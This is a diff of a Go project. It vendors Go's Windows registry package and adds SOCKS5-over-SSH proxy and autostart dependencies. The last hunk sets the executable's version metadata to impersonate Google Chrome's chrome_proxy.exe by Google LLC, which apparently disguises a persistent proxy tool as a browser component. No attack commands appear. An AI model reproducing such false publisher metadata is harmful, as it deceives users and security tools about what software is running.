|
||||
func (k Key) Close() error {
|
||||
return syscall.RegCloseKey(syscall.Handle(k))
|
||||
}
|
||||
|
||||
// OpenKey opens a new key with path name relative to key k.
|
||||
// It accepts any open key, including CURRENT_USER and others,
|
||||
// and returns the new key and an error.
|
||||
// The access parameter specifies desired access rights to the
|
||||
// key to be opened.
|
||||
func OpenKey(k Key, path string, access uint32) (Key, error) {
|
||||
p, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
var subkey syscall.Handle
|
||||
err = syscall.RegOpenKeyEx(syscall.Handle(k), p, 0, access, &subkey)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return Key(subkey), nil
|
||||
}
|
||||
|
||||
// OpenRemoteKey opens a predefined registry key on another
|
||||
// computer pcname. The key to be opened is specified by k, but
|
||||
// can only be one of LOCAL_MACHINE, PERFORMANCE_DATA or USERS.
|
||||
// If pcname is "", OpenRemoteKey returns local computer key.
|
||||
func OpenRemoteKey(pcname string, k Key) (Key, error) {
|
||||
var err error
|
||||
var p *uint16
|
||||
if pcname != "" {
|
||||
p, err = syscall.UTF16PtrFromString(`\\` + pcname)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
}
|
||||
var remoteKey syscall.Handle
|
||||
err = regConnectRegistry(p, syscall.Handle(k), &remoteKey)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return Key(remoteKey), nil
|
||||
}
|
||||
|
||||
// ReadSubKeyNames returns the names of subkeys of key k.
|
||||
// The parameter n controls the number of returned names,
|
||||
// analogous to the way os.File.Readdirnames works.
|
||||
func (k Key) ReadSubKeyNames(n int) ([]string, error) {
|
||||
// RegEnumKeyEx must be called repeatedly and to completion.
|
||||
// During this time, this goroutine cannot migrate away from
|
||||
// its current thread. See https://golang.org/issue/49320 and
|
||||
// https://golang.org/issue/49466.
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
|
||||
names := make([]string, 0)
|
||||
// Registry key size limit is 255 bytes and described there:
|
||||
// https://msdn.microsoft.com/library/windows/desktop/ms724872.aspx
|
||||
buf := make([]uint16, 256) //plus extra room for terminating zero byte
|
||||
loopItems:
|
||||
for i := uint32(0); ; i++ {
|
||||
if n > 0 {
|
||||
if len(names) == n {
|
||||
return names, nil
|
||||
}
|
||||
}
|
||||
l := uint32(len(buf))
|
||||
for {
|
||||
err := syscall.RegEnumKeyEx(syscall.Handle(k), i, &buf[0], &l, nil, nil, nil, nil)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
if err == syscall.ERROR_MORE_DATA {
|
||||
// Double buffer size and try again.
|
||||
l = uint32(2 * len(buf))
|
||||
buf = make([]uint16, l)
|
||||
continue
|
||||
}
|
||||
if err == _ERROR_NO_MORE_ITEMS {
|
||||
break loopItems
|
||||
}
|
||||
return names, err
|
||||
}
|
||||
names = append(names, syscall.UTF16ToString(buf[:l]))
|
||||
}
|
||||
if n > len(names) {
|
||||
return names, io.EOF
|
||||
}
|
||||
return names, nil
|
||||
}
|
||||
|
||||
// CreateKey creates a key named path under open key k.
|
||||
// CreateKey returns the new key and a boolean flag that reports
|
||||
// whether the key already existed.
|
||||
// The access parameter specifies the access rights for the key
|
||||
// to be created.
|
||||
func CreateKey(k Key, path string, access uint32) (newk Key, openedExisting bool, err error) {
|
||||
var h syscall.Handle
|
||||
var d uint32
|
||||
err = regCreateKeyEx(syscall.Handle(k), syscall.StringToUTF16Ptr(path),
|
||||
0, nil, _REG_OPTION_NON_VOLATILE, access, nil, &h, &d)
|
||||
if err != nil {
|
||||
return 0, false, err
|
||||
}
|
||||
return Key(h), d == _REG_OPENED_EXISTING_KEY, nil
|
||||
}
|
||||
|
||||
// DeleteKey deletes the subkey path of key k and its values.
|
||||
func DeleteKey(k Key, path string) error {
|
||||
return regDeleteKey(syscall.Handle(k), syscall.StringToUTF16Ptr(path))
|
||||
}
|
||||
|
||||
// A KeyInfo describes the statistics of a key. It is returned by Stat.
|
||||
type KeyInfo struct {
|
||||
SubKeyCount uint32
|
||||
MaxSubKeyLen uint32 // size of the key's subkey with the longest name, in Unicode characters, not including the terminating zero byte
|
||||
ValueCount uint32
|
||||
MaxValueNameLen uint32 // size of the key's longest value name, in Unicode characters, not including the terminating zero byte
|
||||
MaxValueLen uint32 // longest data component among the key's values, in bytes
|
||||
lastWriteTime syscall.Filetime
|
||||
}
|
||||
|
||||
// ModTime returns the key's last write time.
|
||||
func (ki *KeyInfo) ModTime() time.Time {
|
||||
return time.Unix(0, ki.lastWriteTime.Nanoseconds())
|
||||
}
|
||||
|
||||
// Stat retrieves information about the open key k.
|
||||
func (k Key) Stat() (*KeyInfo, error) {
|
||||
var ki KeyInfo
|
||||
err := syscall.RegQueryInfoKey(syscall.Handle(k), nil, nil, nil,
|
||||
&ki.SubKeyCount, &ki.MaxSubKeyLen, nil, &ki.ValueCount,
|
||||
&ki.MaxValueNameLen, &ki.MaxValueLen, nil, &ki.lastWriteTime)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &ki, nil
|
||||
}
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build generate
|
||||
|
||||
package registry
|
||||
|
||||
//go:generate go run golang.org/x/sys/windows/mkwinsyscall -output zsyscall_windows.go syscall.go
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build windows
|
||||
|
||||
package registry
|
||||
|
||||
import "syscall"
|
||||
|
||||
const (
|
||||
_REG_OPTION_NON_VOLATILE = 0
|
||||
|
||||
_REG_CREATED_NEW_KEY = 1
|
||||
_REG_OPENED_EXISTING_KEY = 2
|
||||
|
||||
_ERROR_NO_MORE_ITEMS syscall.Errno = 259
|
||||
)
|
||||
|
||||
func LoadRegLoadMUIString() error {
|
||||
return procRegLoadMUIStringW.Find()
|
||||
}
|
||||
|
||||
//sys regCreateKeyEx(key syscall.Handle, subkey *uint16, reserved uint32, class *uint16, options uint32, desired uint32, sa *syscall.SecurityAttributes, result *syscall.Handle, disposition *uint32) (regerrno error) = advapi32.RegCreateKeyExW
|
||||
//sys regDeleteKey(key syscall.Handle, subkey *uint16) (regerrno error) = advapi32.RegDeleteKeyW
|
||||
//sys regSetValueEx(key syscall.Handle, valueName *uint16, reserved uint32, vtype uint32, buf *byte, bufsize uint32) (regerrno error) = advapi32.RegSetValueExW
|
||||
//sys regEnumValue(key syscall.Handle, index uint32, name *uint16, nameLen *uint32, reserved *uint32, valtype *uint32, buf *byte, buflen *uint32) (regerrno error) = advapi32.RegEnumValueW
|
||||
//sys regDeleteValue(key syscall.Handle, name *uint16) (regerrno error) = advapi32.RegDeleteValueW
|
||||
//sys regLoadMUIString(key syscall.Handle, name *uint16, buf *uint16, buflen uint32, buflenCopied *uint32, flags uint32, dir *uint16) (regerrno error) = advapi32.RegLoadMUIStringW
|
||||
//sys regConnectRegistry(machinename *uint16, key syscall.Handle, result *syscall.Handle) (regerrno error) = advapi32.RegConnectRegistryW
|
||||
|
||||
//sys expandEnvironmentStrings(src *uint16, dst *uint16, size uint32) (n uint32, err error) = kernel32.ExpandEnvironmentStringsW
|
||||
|
|
@ -0,0 +1,386 @@
|
|||
// Copyright 2015 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build windows
|
||||
|
||||
package registry
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"syscall"
|
||||
"unicode/utf16"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
const (
|
||||
// Registry value types.
|
||||
NONE = 0
|
||||
SZ = 1
|
||||
EXPAND_SZ = 2
|
||||
BINARY = 3
|
||||
DWORD = 4
|
||||
DWORD_BIG_ENDIAN = 5
|
||||
LINK = 6
|
||||
MULTI_SZ = 7
|
||||
RESOURCE_LIST = 8
|
||||
FULL_RESOURCE_DESCRIPTOR = 9
|
||||
RESOURCE_REQUIREMENTS_LIST = 10
|
||||
QWORD = 11
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrShortBuffer is returned when the buffer was too short for the operation.
|
||||
ErrShortBuffer = syscall.ERROR_MORE_DATA
|
||||
|
||||
// ErrNotExist is returned when a registry key or value does not exist.
|
||||
ErrNotExist = syscall.ERROR_FILE_NOT_FOUND
|
||||
|
||||
// ErrUnexpectedType is returned by Get*Value when the value's type was unexpected.
|
||||
ErrUnexpectedType = errors.New("unexpected key value type")
|
||||
)
|
||||
|
||||
// GetValue retrieves the type and data for the specified value associated
|
||||
// with an open key k. It fills up buffer buf and returns the retrieved
|
||||
// byte count n. If buf is too small to fit the stored value it returns
|
||||
// ErrShortBuffer error along with the required buffer size n.
|
||||
// If no buffer is provided, it returns true and actual buffer size n.
|
||||
// If no buffer is provided, GetValue returns the value's type only.
|
||||
// If the value does not exist, the error returned is ErrNotExist.
|
||||
//
|
||||
// GetValue is a low level function. If value's type is known, use the appropriate
|
||||
// Get*Value function instead.
|
||||
func (k Key) GetValue(name string, buf []byte) (n int, valtype uint32, err error) {
|
||||
pname, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return 0, 0, err
|
||||
}
|
||||
var pbuf *byte
|
||||
if len(buf) > 0 {
|
||||
pbuf = (*byte)(unsafe.Pointer(&buf[0]))
|
||||
}
|
||||
l := uint32(len(buf))
|
||||
err = syscall.RegQueryValueEx(syscall.Handle(k), pname, nil, &valtype, pbuf, &l)
|
||||
if err != nil {
|
||||
return int(l), valtype, err
|
||||
}
|
||||
return int(l), valtype, nil
|
||||
}
|
||||
|
||||
func (k Key) getValue(name string, buf []byte) (data []byte, valtype uint32, err error) {
|
||||
p, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
var t uint32
|
||||
n := uint32(len(buf))
|
||||
for {
|
||||
err = syscall.RegQueryValueEx(syscall.Handle(k), p, nil, &t, (*byte)(unsafe.Pointer(&buf[0])), &n)
|
||||
if err == nil {
|
||||
return buf[:n], t, nil
|
||||
}
|
||||
if err != syscall.ERROR_MORE_DATA {
|
||||
return nil, 0, err
|
||||
}
|
||||
if n <= uint32(len(buf)) {
|
||||
return nil, 0, err
|
||||
}
|
||||
buf = make([]byte, n)
|
||||
}
|
||||
}
|
||||
|
||||
// GetStringValue retrieves the string value for the specified
|
||||
// value name associated with an open key k. It also returns the value's type.
|
||||
// If value does not exist, GetStringValue returns ErrNotExist.
|
||||
// If value is not SZ or EXPAND_SZ, it will return the correct value
|
||||
// type and ErrUnexpectedType.
|
||||
func (k Key) GetStringValue(name string) (val string, valtype uint32, err error) {
|
||||
data, typ, err2 := k.getValue(name, make([]byte, 64))
|
||||
if err2 != nil {
|
||||
return "", typ, err2
|
||||
}
|
||||
switch typ {
|
||||
case SZ, EXPAND_SZ:
|
||||
default:
|
||||
return "", typ, ErrUnexpectedType
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return "", typ, nil
|
||||
}
|
||||
u := (*[1 << 29]uint16)(unsafe.Pointer(&data[0]))[: len(data)/2 : len(data)/2]
|
||||
return syscall.UTF16ToString(u), typ, nil
|
||||
}
|
||||
|
||||
// GetMUIStringValue retrieves the localized string value for
|
||||
// the specified value name associated with an open key k.
|
||||
// If the value name doesn't exist or the localized string value
|
||||
// can't be resolved, GetMUIStringValue returns ErrNotExist.
|
||||
// GetMUIStringValue panics if the system doesn't support
|
||||
// regLoadMUIString; use LoadRegLoadMUIString to check if
|
||||
// regLoadMUIString is supported before calling this function.
|
||||
func (k Key) GetMUIStringValue(name string) (string, error) {
|
||||
pname, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
buf := make([]uint16, 1024)
|
||||
var buflen uint32
|
||||
var pdir *uint16
|
||||
|
||||
err = regLoadMUIString(syscall.Handle(k), pname, &buf[0], uint32(len(buf)), &buflen, 0, pdir)
|
||||
if err == syscall.ERROR_FILE_NOT_FOUND { // Try fallback path
|
||||
|
||||
// Try to resolve the string value using the system directory as
|
||||
// a DLL search path; this assumes the string value is of the form
|
||||
// @[path]\dllname,-strID but with no path given, e.g. @tzres.dll,-320.
|
||||
|
||||
// This approach works with tzres.dll but may have to be revised
|
||||
// in the future to allow callers to provide custom search paths.
|
||||
|
||||
var s string
|
||||
s, err = ExpandString("%SystemRoot%\\system32\\")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
pdir, err = syscall.UTF16PtrFromString(s)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
err = regLoadMUIString(syscall.Handle(k), pname, &buf[0], uint32(len(buf)), &buflen, 0, pdir)
|
||||
}
|
||||
|
||||
for err == syscall.ERROR_MORE_DATA { // Grow buffer if needed
|
||||
if buflen <= uint32(len(buf)) {
|
||||
break // Buffer not growing, assume race; break
|
||||
}
|
||||
buf = make([]uint16, buflen)
|
||||
err = regLoadMUIString(syscall.Handle(k), pname, &buf[0], uint32(len(buf)), &buflen, 0, pdir)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
return syscall.UTF16ToString(buf), nil
|
||||
}
|
||||
|
||||
// ExpandString expands environment-variable strings and replaces
|
||||
// them with the values defined for the current user.
|
||||
// Use ExpandString to expand EXPAND_SZ strings.
|
||||
func ExpandString(value string) (string, error) {
|
||||
if value == "" {
|
||||
return "", nil
|
||||
}
|
||||
p, err := syscall.UTF16PtrFromString(value)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
r := make([]uint16, 100)
|
||||
for {
|
||||
n, err := expandEnvironmentStrings(p, &r[0], uint32(len(r)))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if n <= uint32(len(r)) {
|
||||
return syscall.UTF16ToString(r[:n]), nil
|
||||
}
|
||||
r = make([]uint16, n)
|
||||
}
|
||||
}
|
||||
|
||||
// GetStringsValue retrieves the []string value for the specified
|
||||
// value name associated with an open key k. It also returns the value's type.
|
||||
// If value does not exist, GetStringsValue returns ErrNotExist.
|
||||
// If value is not MULTI_SZ, it will return the correct value
|
||||
// type and ErrUnexpectedType.
|
||||
func (k Key) GetStringsValue(name string) (val []string, valtype uint32, err error) {
|
||||
data, typ, err2 := k.getValue(name, make([]byte, 64))
|
||||
if err2 != nil {
|
||||
return nil, typ, err2
|
||||
}
|
||||
if typ != MULTI_SZ {
|
||||
return nil, typ, ErrUnexpectedType
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return nil, typ, nil
|
||||
}
|
||||
p := (*[1 << 29]uint16)(unsafe.Pointer(&data[0]))[: len(data)/2 : len(data)/2]
|
||||
if len(p) == 0 {
|
||||
return nil, typ, nil
|
||||
}
|
||||
if p[len(p)-1] == 0 {
|
||||
p = p[:len(p)-1] // remove terminating null
|
||||
}
|
||||
val = make([]string, 0, 5)
|
||||
from := 0
|
||||
for i, c := range p {
|
||||
if c == 0 {
|
||||
val = append(val, string(utf16.Decode(p[from:i])))
|
||||
from = i + 1
|
||||
}
|
||||
}
|
||||
return val, typ, nil
|
||||
}
|
||||
|
||||
// GetIntegerValue retrieves the integer value for the specified
|
||||
// value name associated with an open key k. It also returns the value's type.
|
||||
// If value does not exist, GetIntegerValue returns ErrNotExist.
|
||||
// If value is not DWORD or QWORD, it will return the correct value
|
||||
// type and ErrUnexpectedType.
|
||||
func (k Key) GetIntegerValue(name string) (val uint64, valtype uint32, err error) {
|
||||
data, typ, err2 := k.getValue(name, make([]byte, 8))
|
||||
if err2 != nil {
|
||||
return 0, typ, err2
|
||||
}
|
||||
switch typ {
|
||||
case DWORD:
|
||||
if len(data) != 4 {
|
||||
return 0, typ, errors.New("DWORD value is not 4 bytes long")
|
||||
}
|
||||
var val32 uint32
|
||||
copy((*[4]byte)(unsafe.Pointer(&val32))[:], data)
|
||||
return uint64(val32), DWORD, nil
|
||||
case QWORD:
|
||||
if len(data) != 8 {
|
||||
return 0, typ, errors.New("QWORD value is not 8 bytes long")
|
||||
}
|
||||
copy((*[8]byte)(unsafe.Pointer(&val))[:], data)
|
||||
return val, QWORD, nil
|
||||
default:
|
||||
return 0, typ, ErrUnexpectedType
|
||||
}
|
||||
}
|
||||
|
||||
// GetBinaryValue retrieves the binary value for the specified
|
||||
// value name associated with an open key k. It also returns the value's type.
|
||||
// If value does not exist, GetBinaryValue returns ErrNotExist.
|
||||
// If value is not BINARY, it will return the correct value
|
||||
// type and ErrUnexpectedType.
|
||||
func (k Key) GetBinaryValue(name string) (val []byte, valtype uint32, err error) {
|
||||
data, typ, err2 := k.getValue(name, make([]byte, 64))
|
||||
if err2 != nil {
|
||||
return nil, typ, err2
|
||||
}
|
||||
if typ != BINARY {
|
||||
return nil, typ, ErrUnexpectedType
|
||||
}
|
||||
return data, typ, nil
|
||||
}
|
||||
|
||||
func (k Key) setValue(name string, valtype uint32, data []byte) error {
|
||||
p, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(data) == 0 {
|
||||
return regSetValueEx(syscall.Handle(k), p, 0, valtype, nil, 0)
|
||||
}
|
||||
return regSetValueEx(syscall.Handle(k), p, 0, valtype, &data[0], uint32(len(data)))
|
||||
}
|
||||
|
||||
// SetDWordValue sets the data and type of a name value
|
||||
// under key k to value and DWORD.
|
||||
func (k Key) SetDWordValue(name string, value uint32) error {
|
||||
return k.setValue(name, DWORD, (*[4]byte)(unsafe.Pointer(&value))[:])
|
||||
}
|
||||
|
||||
// SetQWordValue sets the data and type of a name value
|
||||
// under key k to value and QWORD.
|
||||
func (k Key) SetQWordValue(name string, value uint64) error {
|
||||
return k.setValue(name, QWORD, (*[8]byte)(unsafe.Pointer(&value))[:])
|
||||
}
|
||||
|
||||
func (k Key) setStringValue(name string, valtype uint32, value string) error {
|
||||
v, err := syscall.UTF16FromString(value)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
buf := (*[1 << 29]byte)(unsafe.Pointer(&v[0]))[: len(v)*2 : len(v)*2]
|
||||
return k.setValue(name, valtype, buf)
|
||||
}
|
||||
|
||||
// SetStringValue sets the data and type of a name value
|
||||
// under key k to value and SZ. The value must not contain a zero byte.
|
||||
func (k Key) SetStringValue(name, value string) error {
|
||||
return k.setStringValue(name, SZ, value)
|
||||
}
|
||||
|
||||
// SetExpandStringValue sets the data and type of a name value
|
||||
// under key k to value and EXPAND_SZ. The value must not contain a zero byte.
|
||||
func (k Key) SetExpandStringValue(name, value string) error {
|
||||
return k.setStringValue(name, EXPAND_SZ, value)
|
||||
}
|
||||
|
||||
// SetStringsValue sets the data and type of a name value
|
||||
// under key k to value and MULTI_SZ. The value strings
|
||||
// must not contain a zero byte.
|
||||
func (k Key) SetStringsValue(name string, value []string) error {
|
||||
ss := ""
|
||||
for _, s := range value {
|
||||
for i := 0; i < len(s); i++ {
|
||||
if s[i] == 0 {
|
||||
return errors.New("string cannot have 0 inside")
|
||||
}
|
||||
}
|
||||
ss += s + "\x00"
|
||||
}
|
||||
v := utf16.Encode([]rune(ss + "\x00"))
|
||||
buf := (*[1 << 29]byte)(unsafe.Pointer(&v[0]))[: len(v)*2 : len(v)*2]
|
||||
return k.setValue(name, MULTI_SZ, buf)
|
||||
}
|
||||
|
||||
// SetBinaryValue sets the data and type of a name value
|
||||
// under key k to value and BINARY.
|
||||
func (k Key) SetBinaryValue(name string, value []byte) error {
|
||||
return k.setValue(name, BINARY, value)
|
||||
}
|
||||
|
||||
// DeleteValue removes a named value from the key k.
|
||||
func (k Key) DeleteValue(name string) error {
|
||||
return regDeleteValue(syscall.Handle(k), syscall.StringToUTF16Ptr(name))
|
||||
}
|
||||
|
||||
// ReadValueNames returns the value names of key k.
|
||||
// The parameter n controls the number of returned names,
|
||||
// analogous to the way os.File.Readdirnames works.
|
||||
func (k Key) ReadValueNames(n int) ([]string, error) {
|
||||
ki, err := k.Stat()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
names := make([]string, 0, ki.ValueCount)
|
||||
buf := make([]uint16, ki.MaxValueNameLen+1) // extra room for terminating null character
|
||||
loopItems:
|
||||
for i := uint32(0); ; i++ {
|
||||
if n > 0 {
|
||||
if len(names) == n {
|
||||
return names, nil
|
||||
}
|
||||
}
|
||||
l := uint32(len(buf))
|
||||
for {
|
||||
err := regEnumValue(syscall.Handle(k), i, &buf[0], &l, nil, nil, nil, nil)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
if err == syscall.ERROR_MORE_DATA {
|
||||
// Double buffer size and try again.
|
||||
l = uint32(2 * len(buf))
|
||||
buf = make([]uint16, l)
|
||||
continue
|
||||
}
|
||||
if err == _ERROR_NO_MORE_ITEMS {
|
||||
break loopItems
|
||||
}
|
||||
return names, err
|
||||
}
|
||||
names = append(names, syscall.UTF16ToString(buf[:l]))
|
||||
}
|
||||
if n > len(names) {
|
||||
return names, io.EOF
|
||||
}
|
||||
return names, nil
|
||||
}
|
||||
|
|
@ -0,0 +1,117 @@
|
|||
// Code generated by 'go generate'; DO NOT EDIT.
|
||||
|
||||
package registry
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var _ unsafe.Pointer
|
||||
|
||||
// Do the interface allocations only once for common
|
||||
// Errno values.
|
||||
const (
|
||||
errnoERROR_IO_PENDING = 997
|
||||
)
|
||||
|
||||
var (
|
||||
errERROR_IO_PENDING error = syscall.Errno(errnoERROR_IO_PENDING)
|
||||
errERROR_EINVAL error = syscall.EINVAL
|
||||
)
|
||||
|
||||
// errnoErr returns common boxed Errno values, to prevent
|
||||
// allocations at runtime.
|
||||
func errnoErr(e syscall.Errno) error {
|
||||
switch e {
|
||||
case 0:
|
||||
return errERROR_EINVAL
|
||||
case errnoERROR_IO_PENDING:
|
||||
return errERROR_IO_PENDING
|
||||
}
|
||||
// TODO: add more here, after collecting data on the common
|
||||
// error values see on Windows. (perhaps when running
|
||||
// all.bat?)
|
||||
return e
|
||||
}
|
||||
|
||||
var (
|
||||
modadvapi32 = windows.NewLazySystemDLL("advapi32.dll")
|
||||
modkernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
|
||||
procRegConnectRegistryW = modadvapi32.NewProc("RegConnectRegistryW")
|
||||
procRegCreateKeyExW = modadvapi32.NewProc("RegCreateKeyExW")
|
||||
procRegDeleteKeyW = modadvapi32.NewProc("RegDeleteKeyW")
|
||||
procRegDeleteValueW = modadvapi32.NewProc("RegDeleteValueW")
|
||||
procRegEnumValueW = modadvapi32.NewProc("RegEnumValueW")
|
||||
procRegLoadMUIStringW = modadvapi32.NewProc("RegLoadMUIStringW")
|
||||
procRegSetValueExW = modadvapi32.NewProc("RegSetValueExW")
|
||||
procExpandEnvironmentStringsW = modkernel32.NewProc("ExpandEnvironmentStringsW")
|
||||
)
|
||||
|
||||
func regConnectRegistry(machinename *uint16, key syscall.Handle, result *syscall.Handle) (regerrno error) {
|
||||
r0, _, _ := syscall.Syscall(procRegConnectRegistryW.Addr(), 3, uintptr(unsafe.Pointer(machinename)), uintptr(key), uintptr(unsafe.Pointer(result)))
|
||||
if r0 != 0 {
|
||||
regerrno = syscall.Errno(r0)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func regCreateKeyEx(key syscall.Handle, subkey *uint16, reserved uint32, class *uint16, options uint32, desired uint32, sa *syscall.SecurityAttributes, result *syscall.Handle, disposition *uint32) (regerrno error) {
|
||||
r0, _, _ := syscall.Syscall9(procRegCreateKeyExW.Addr(), 9, uintptr(key), uintptr(unsafe.Pointer(subkey)), uintptr(reserved), uintptr(unsafe.Pointer(class)), uintptr(options), uintptr(desired), uintptr(unsafe.Pointer(sa)), uintptr(unsafe.Pointer(result)), uintptr(unsafe.Pointer(disposition)))
|
||||
if r0 != 0 {
|
||||
regerrno = syscall.Errno(r0)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func regDeleteKey(key syscall.Handle, subkey *uint16) (regerrno error) {
|
||||
r0, _, _ := syscall.Syscall(procRegDeleteKeyW.Addr(), 2, uintptr(key), uintptr(unsafe.Pointer(subkey)), 0)
|
||||
if r0 != 0 {
|
||||
regerrno = syscall.Errno(r0)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func regDeleteValue(key syscall.Handle, name *uint16) (regerrno error) {
|
||||
r0, _, _ := syscall.Syscall(procRegDeleteValueW.Addr(), 2, uintptr(key), uintptr(unsafe.Pointer(name)), 0)
|
||||
if r0 != 0 {
|
||||
regerrno = syscall.Errno(r0)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func regEnumValue(key syscall.Handle, index uint32, name *uint16, nameLen *uint32, reserved *uint32, valtype *uint32, buf *byte, buflen *uint32) (regerrno error) {
|
||||
r0, _, _ := syscall.Syscall9(procRegEnumValueW.Addr(), 8, uintptr(key), uintptr(index), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(nameLen)), uintptr(unsafe.Pointer(reserved)), uintptr(unsafe.Pointer(valtype)), uintptr(unsafe.Pointer(buf)), uintptr(unsafe.Pointer(buflen)), 0)
|
||||
if r0 != 0 {
|
||||
regerrno = syscall.Errno(r0)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func regLoadMUIString(key syscall.Handle, name *uint16, buf *uint16, buflen uint32, buflenCopied *uint32, flags uint32, dir *uint16) (regerrno error) {
|
||||
r0, _, _ := syscall.Syscall9(procRegLoadMUIStringW.Addr(), 7, uintptr(key), uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(buf)), uintptr(buflen), uintptr(unsafe.Pointer(buflenCopied)), uintptr(flags), uintptr(unsafe.Pointer(dir)), 0, 0)
|
||||
if r0 != 0 {
|
||||
regerrno = syscall.Errno(r0)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func regSetValueEx(key syscall.Handle, valueName *uint16, reserved uint32, vtype uint32, buf *byte, bufsize uint32) (regerrno error) {
|
||||
r0, _, _ := syscall.Syscall6(procRegSetValueExW.Addr(), 6, uintptr(key), uintptr(unsafe.Pointer(valueName)), uintptr(reserved), uintptr(vtype), uintptr(unsafe.Pointer(buf)), uintptr(bufsize))
|
||||
if r0 != 0 {
|
||||
regerrno = syscall.Errno(r0)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func expandEnvironmentStrings(src *uint16, dst *uint16, size uint32) (n uint32, err error) {
|
||||
r0, _, e1 := syscall.Syscall(procExpandEnvironmentStringsW.Addr(), 3, uintptr(unsafe.Pointer(src)), uintptr(unsafe.Pointer(dst)), uintptr(size))
|
||||
n = uint32(r0)
|
||||
if n == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
|
@ -1,9 +1,19 @@
|
|||
# github.com/awnumar/memcall v0.2.0
|
||||
## explicit; go 1.12
|
||||
github.com/awnumar/memcall
|
||||
# github.com/awnumar/memguard v0.22.5
|
||||
## explicit; go 1.18
|
||||
github.com/awnumar/memguard
|
||||
github.com/awnumar/memguard/core
|
||||
# github.com/cloudfoundry/go-socks5 v0.0.0-20180221174514-54f73bdb8a8e
|
||||
## explicit
|
||||
github.com/cloudfoundry/go-socks5
|
||||
# github.com/cloudfoundry/socks5-proxy v0.2.120 => github.com/xor-gate/socks5-proxy v0.0.0-20240724155447-4b9ab1a56d38
|
||||
## explicit; go 1.21.0
|
||||
github.com/cloudfoundry/socks5-proxy
|
||||
# github.com/emersion/go-autostart v0.0.0-20210130080809-00ed301c8e9a
|
||||
## explicit
|
||||
github.com/emersion/go-autostart
|
||||
# github.com/miekg/dns v1.1.29
|
||||
## explicit; go 1.12
|
||||
github.com/miekg/dns
|
||||
|
|
@ -12,12 +22,15 @@ github.com/miekg/dns
|
|||
github.com/xor-gate/sshfp
|
||||
# golang.org/x/crypto v0.25.0
|
||||
## explicit; go 1.20
|
||||
golang.org/x/crypto/blake2b
|
||||
golang.org/x/crypto/blowfish
|
||||
golang.org/x/crypto/chacha20
|
||||
golang.org/x/crypto/curve25519
|
||||
golang.org/x/crypto/ed25519
|
||||
golang.org/x/crypto/internal/alias
|
||||
golang.org/x/crypto/internal/poly1305
|
||||
golang.org/x/crypto/nacl/secretbox
|
||||
golang.org/x/crypto/salsa20/salsa
|
||||
golang.org/x/crypto/ssh
|
||||
golang.org/x/crypto/ssh/internal/bcrypt_pbkdf
|
||||
# golang.org/x/net v0.27.0
|
||||
|
|
@ -33,3 +46,4 @@ golang.org/x/net/ipv6
|
|||
golang.org/x/sys/cpu
|
||||
golang.org/x/sys/unix
|
||||
golang.org/x/sys/windows
|
||||
golang.org/x/sys/windows/registry
|
||||
|
|
|
|||
|
|
@ -19,18 +19,16 @@
|
|||
"FileSubType": "00"
|
||||
},
|
||||
"StringFileInfo": {
|
||||
"CompanyName": "Google LLC",
|
||||
"FileDescription": "Google Chrome",
|
||||
"FileVersion": "127.0.6533.73",
|
||||
"InternalName": "chrome_proxy",
|
||||
"LegalCopyright": "Copyright 2024 Google LLC. All rights reserved.",
|
||||
"OriginalFilename": "chrome_proxy.exe",
|
||||
"ProductName": "Google Chrome",
|
||||
"ProductVersion": "127.0.6533.73",
|
||||
"CompanyShortName": "Google",
|
||||
"ProductShortName": "Chrome",
|
||||
